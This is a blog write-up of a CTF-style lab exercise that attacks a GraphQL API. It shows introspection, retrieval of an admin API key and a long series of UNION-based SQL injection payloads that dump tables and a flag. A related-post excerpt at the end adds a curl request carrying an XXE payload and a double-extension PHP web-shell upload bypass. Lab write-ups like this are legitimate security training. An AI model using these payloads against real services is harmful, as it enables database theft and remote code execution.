Skip to main content
  1. Write-ups/
  2. CTF Write-ups/

GraphQL Skill Assessment

·883 words·5 mins·
Table of Contents

First explored the request and decided to see if the GraphiQL endpoint is enabled.

I started my test by sending an introspection query to know the relations between objects and queries.

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      ...FullType
    }
    directives {
      name
      description
      locations
      args {
        ...InputValue
      }
    }
  }
}

fragment FullType on __Type {
  kind
  name
  description
  fields(includeDeprecated: true) {
    name
    description
    args {
      ...InputValue
    }
    type {
      ...TypeRef
    }
    isDeprecated
    deprecationReason
  }
  inputFields {
    ...InputValue
  }
  interfaces {
    ...TypeRef
  }
  enumValues(includeDeprecated: true) {
    name
    description
    isDeprecated
    deprecationReason
  }
  possibleTypes {
    ...TypeRef
  }
}

fragment InputValue on __InputValue {
  name
  description
  type { ...TypeRef }
  defaultValue
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

After visualizing it in https://apis.guru/graphql-voyager/ it looks like:

GraphQL schema visualization

I noticed activeApikeys and wanted to retrieve the data on it so just typed:

{
  activeApikeys {
    id
    role
    key
  } 
}

The output is:

{
  "data": {
    "activeApiKeys": [
      {
        "id": "QXBpS2V5T2JqZWN0OjE=",
        "role": "guest",
        "key": "fbb64ce26fbe8a8d8d6895b8e6ba21a3"
      },
      {
        "id": "QXBpS2V5T2JqZWN0OjI=",
        "role": "guest",
        "key": "9cf8622bbc9fdc78f245663e08e5b4c1"
      },
      {
        "id": "QXBpS2V5T2JqZWN0OjM=",
        "role": "admin",
        "key": "0711a879ed751e63330a78a4b195bbad"
      }
    ]
  }
}

We now have the API key of the admin which may be used later.

Enumerating Mutations and Arguments
#

My approach is to dump the database to see if there is a flag, so I wanted to test if there is SQLi in any argument. First I need to know which queries accept arguments.

I queried for mutation options using:

query {
  __schema {
    mutationType {
      name
      fields {
        name
        args {
          name
          defaultValue
          type {
            ...TypeRef
          }
        }
      }
    }
  }
}

fragment TypeRef on __Type {
  kind
  name
  ofType {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
          ofType {
            kind
            name
            ofType {
              kind
              name
              ofType {
                kind
                name
              }
            }
          }
        }
      }
    }
  }
}

Queries with Arguments
#

QueryArgumentsData Type
nodeidID (String)
employeeByUsernameusernameString
productByNamenameString
allCustomersapiKeyString
customerByNameapiKeyString
customerByNamelastNameString

Mutations with Arguments
#

MutationInput Fields
addEmployeeusername (String), employeeId (Int), role (String)
addProductname (String), stock (Int)
addCustomerapiKey (String), firstName (String), lastName (String), address (String)

SQL Injection Testing
#

The approach now is to test each one with injection types to know which one is injectable.

Approach 1: employeeByUsername
#

{
  employeeByUsername(username: "admin") {
    username
    employeeId
    role
  }
}

Boolean-based detection:

{
  employeeByUsername(username: "admin' AND '1'='1") {
    username
  }
}

{
  employeeByUsername(username: "admin' AND '1'='2") {
    username
  }
}

Error-based detection:

{
  employeeByUsername(username: "admin'") {
    username
  }
}

{
  employeeByUsername(username: "admin'\"") {
    username
  }
}

UNION-based (4 columns: id, username, employeeId, role):

{
  employeeByUsername(username: "x' UNION SELECT 1,'test',2,'test'-- -") {
    username
  }
}

{
  employeeByUsername(username: "x' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -") {
    username
  }
}

{
  employeeByUsername(username: "x' UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name='flag'-- -") {
    username
  }
}

{
  employeeByUsername(username: "x' UNION SELECT 1,flag,3,4 FROM flag LIMIT 1-- -") {
    username
  }
}

Approach 2: productByName
#

{
  productByName(name: "someproduct") {
    name
    stock
  }
}

Error-based:

{
  productByName(name: "product'") {
    name
  }
}

UNION-based (3 columns: id, name, stock):

{
  productByName(name: "x' UNION SELECT 1,'flag',999-- -") {
    name
    stock
  }
}

{
  productByName(name: "x' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -") {
    name
  }
}

{
  productByName(name: "x' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='flag'-- -") {
    name
  }
}

{
  productByName(name: "x' UNION SELECT 1,flag,3 FROM flag LIMIT 1-- -") {
    name
  }
}

Approach 3: allCustomers (apiKey)
#

{
  allCustomers(apiKey: "0711a879ed751e63330a78a4b195bbad") {
    firstName
    lastName
    address
  }
}

Error-based:

{
  allCustomers(apiKey: "0711a879ed751e63330a78a4b195bbad'") {
    firstName
  }
}

UNION-based (4 columns: id, firstName, lastName, address):

{
  allCustomers(apiKey: "x' UNION SELECT 1,'flag','flag','flag' FROM some_table-- -") {
    firstName
    lastName
    address
  }
}

{
  allCustomers(apiKey: "x' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -") {
    firstName
  }
}

{
  allCustomers(apiKey: "x' UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name='flag'-- -") {
    firstName
  }
}

{
  allCustomers(apiKey: "x' UNION SELECT 1,flag,3,4 FROM flag LIMIT 1-- -") {
    firstName
  }
}

Approach 4: customerByName — The Vulnerable Endpoint
#

{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "Smith") {
    firstName
    lastName
    address
  }
}

Test apiKey:

{
  customerByName(apiKey: "x' UNION SELECT 1,'a','a','a'-- -", lastName: "Smith") {
    firstName
  }
}

Test lastName:

{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "x' UNION SELECT 1,'a','a','a'-- -") {
    firstName
  }
}

UNION-based enumeration on lastName:

{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "x' UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -") {
    firstName
  }
}

This retrieves the tables:

{
  "data": {
    "customerByName": {
      "firstName": "api_key,employee,flag,product,customer"
    }
  }
}

Now get the columns:

{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "x' UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_name='flag'-- -") {
    firstName
  }
}

This gives us:

{
  "data": {
    "customerByName": {
      "firstName": "id,flag"
    }
  }
}

Reading the Flag
#

{
  customerByName(apiKey: "0711a879ed751e63330a78a4b195bbad", lastName: "x' UNION SELECT 1,GROUP_CONCAT(flag),3,4 FROM flag-- -") {
    firstName
  }
}

NOTE: The structure of the query and the number of columns we knew from the visual diagram which customerByName needs 4 columns so we made this in our UNION payload.

db1M
Author
db1M
Mohanad Edrees — penetration testing enthusiast and CTF player.

Related

File Inclusion Skill Assessment

·761 words·4 mins
The challenge description: Assess the web application and use a variety of techniques to gain remote code execution and find a flag in the / root directory of the file system. Submit the contents of the flag as your answer.

File Upload Skill Assessment

·560 words·3 mins
Inspecting the webapp and the functionalities found a submit flag functionality. I read the JS and the HTML codes to see the validation of the frontend, noticed that only images extensions are allowed. I uploaded a .png file and see the request in the burp. it was a GET request and it supposed to be a POST request in uploading a file, so I inspect the code to see the right place to upload files and found in the JS file the correct is to send to the endpoint: contact/upload.php I asked AI to create me a curl request to send a POST request to this endpoint. I fuzzed to see the allowed extension and the allowed content type too and found that svg and images/svg+xml are allowed. So I thought about upload a svg file with XXE payload to craft gain the source code of the backend to know the logic, blacklist, and the whitelist of the uploading function. curl -s -X POST "154.57.164.61:30775/contact/upload.php" \ -F "uploadFile=@/dev/stdin;filename=shell.svg;type=image/svg+xml" \ <<< '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/contact/upload.php">]> <svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"> <text y="20">&xxe;</text> </svg>' The parameters of the payload got from the HTML code inspection: <input name="uploadFile" id="uploadFile" type="file" class="custom-file-input" id="inputGroupFile02" onchange="checkFile(this)" accept=".jpg,.jpeg,.png"> We got the source code encoded, after decoded, we knew the logic: <?php require_once('./common-functions.php'); // uploaded files directory $target_dir = "./user_feedback_submissions/"; // rename before storing $fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName; // get content headers $contentType = $_FILES['uploadFile']['type']; $MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']); // blacklist test if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) { echo "Extension not allowed"; die(); } // whitelist test if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) { echo "Only images are allowed"; die(); } // type test foreach (array($contentType, $MIMEtype) as $type) { if (!preg_match('/image\/[a-z]{2,3}g/', $type)) { echo "Only images are allowed"; die(); } } // size test if ($_FILES["uploadFile"]["size"] > 500000) { echo "File too large"; die(); } if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) { displayHTMLImage($target_file); } else { echo "File failed to upload"; } i want to get the flag then The code tells us the following: 1. Blacklist: blocks .php .phps .phtml 2. Whitelist: filename must end in [a-z]{2,3}g → jpg, png, svg, jpeg 3. Content-Type: must match image/[a-z]{2,3}g → image/jpg, image/png, image/svg, image/jpeg 4. MIME: same regex check on actual file content 5. Upload dir: ./user_feedback_submissions/ 6. The file is stored in the database with a unique schema --> DATE_Filename I noticed that the .phar extension not in the blacklist so I can use in uploading a shell which can allow execution of a PHP code. The vulnerability of the whitelist is that it only checks the end of the filename extension has a g so using jpg with double-extension technique will bypass the filters. To ensure the attack implemented successfully, we should put a jpg signature to bypass the MIME check –> \xff\xd8\xff\ ![[Pasted image 20260607022513.png]] So the full request will be: ![[Pasted image 20260607022051.png]] The shell is uploaded and now we want to visit it, after some struggling with the data I reached the true path: http://154.57.164.61:30775/contact/user_feedback_submissions/260606_shell.phar.jpg?cmd=ls The flag isn’t in flag.txt as I tried before catch it with the same way I get the source code, so I knew that I needed an RCE. I search about flag in the entire system: find / -name 'flag*' -o -name '*flag*' -o -name '*.flag' 2>/dev/null The flag in flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt , just read it.

SQL Injection Skill Assessment

·721 words·4 mins
We are tasked with a web application and assigned to perform a penetration test and exploit SQL injection vulnerability. Let’s goo and explore. In first step after visiting the application we got a bad request.